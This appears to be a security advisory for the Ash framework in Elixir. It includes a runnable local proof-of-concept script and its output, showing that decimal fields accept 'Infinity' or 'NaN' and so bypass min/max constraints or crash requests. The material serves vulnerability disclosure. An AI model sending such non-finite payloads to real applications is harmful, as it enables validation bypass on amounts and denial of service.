# Demonstrates an authenticated quote endpoint accepting a non-finite decimal
# even though the action argument is constrained to non-negative finite amounts.
previous_no_warn_undefined = Code.get_compiler_option(:no_warn_undefined)
Code.put_compiler_option(:no_warn_undefined, Enum.uniq([Igniter.Project.Module, Igniter.Code.Module | previous_no_warn_undefined]))
Mix.install(
[{:ash, "3.32.1"}, {:bandit, "1.12.5"}, {:req, "0.7.3"}, {:simple_sat, "~> 0.1 and >= 0.1.1"}],
consolidate_protocols: false
)
Code.put_compiler_option(:no_warn_undefined, previous_no_warn_undefined)
defmodule Poc.Domain do
use Ash.Domain, validate_config_inclusion?: false
resources do
resource(Poc.Quote)
end
end
defmodule Poc.Quote do
use Ash.Resource, domain: Poc.Domain, data_layer: Ash.DataLayer.Ets, authorizers: [Ash.Policy.Authorizer]
actions do
action :price, :string do
argument(:amount, :decimal, allow_nil?: false, constraints: [min: 0])
run(fn input, _ -> {:ok, Decimal.to_string(input.arguments.amount)} end)
end
end
policies do
policy action(:price) do
authorize_if actor_attribute_equals(:authenticated?, true)
end
end
end
defmodule Poc.Router do
use Plug.Router
plug(:match)
plug(Plug.Parsers, parsers: [:json], json_decoder: Jason)
plug(:dispatch)
post "/quote" do
actor = %{authenticated?: get_req_header(conn, "authorization") == ["Bearer user-session"]}
input = Ash.ActionInput.for_action(Poc.Quote, :price, conn.body_params)
case Ash.run_action(input, actor: actor, authorize?: true) do
{:ok, amount} -> json(conn, 200, %{accepted_amount: amount})
{:error, error} -> json(conn, 422, %{error: Exception.message(error)})
end
end
defp json(conn, status, body), do: conn |> put_resp_content_type("application/json") |> send_resp(status, Jason.encode!(body))
end
{:ok, server} = Bandit.start_link(plug: Poc.Router, ip: {127, 0, 0, 1}, port: 0, startup_log: false)
{:ok, {_address, port}} = ThousandIsland.listener_info(server)
response = Req.post!("http://127.0.0.1:#{port}/quote", headers: [{"authorization", "Bearer user-session"}], json: %{amount: "Infinity"}, retry: false)
Supervisor.stop(server)
IO.puts("status: #{response.status}")
IO.puts("body: #{inspect(response.body)}")
if response.status == 200 and response.body["accepted_amount"] == "Infinity" do
IO.puts("VERIFIED: an authenticated request passed Infinity through a decimal argument constrained with min: 0")
else
IO.puts("NOT VERIFIED: the public action rejected the non-finite decimal")
end
status: 200
body: %{"accepted_amount" => "Infinity"}
VERIFIED: an authenticated request passed Infinity through a decimal argument constrained with min: 0
Summary
A user-supplied string of
"Infinity","-Inf"or"NaN"for any:decimalattribute or argument is accepted, silently defeatingmin/max/greater_than/less_thanconstraints or crashing the request with an unhandled exception. Any application exposing a:decimalfield over an HTTP or JSON boundary is affected.Details
The
is_binaryclauses ofcast_input/2andcast_stored/2callDecimal.parse/1directly rather than going throughEcto.Type.cast(:decimal, ...), which rejects these values. The non-finite value then flows intoapply_constraints/2, where bounds checks return{:ok, value}; where a constraint does engage it raises (precision, or any comparison against"NaN") instead of erroring.Proof of Concept
Reproduction output
Impact
Input-validation bypass and denial of service for anyone exposing a
:decimalfield over an HTTP or JSON boundary. Bounds such as the commonmin: 0on an amount or quantity are silently ignored; Ecto data layers later raise on dump, while ETS/in-memory/custom data layers persist the poisoned value and propagate it through later arithmetic.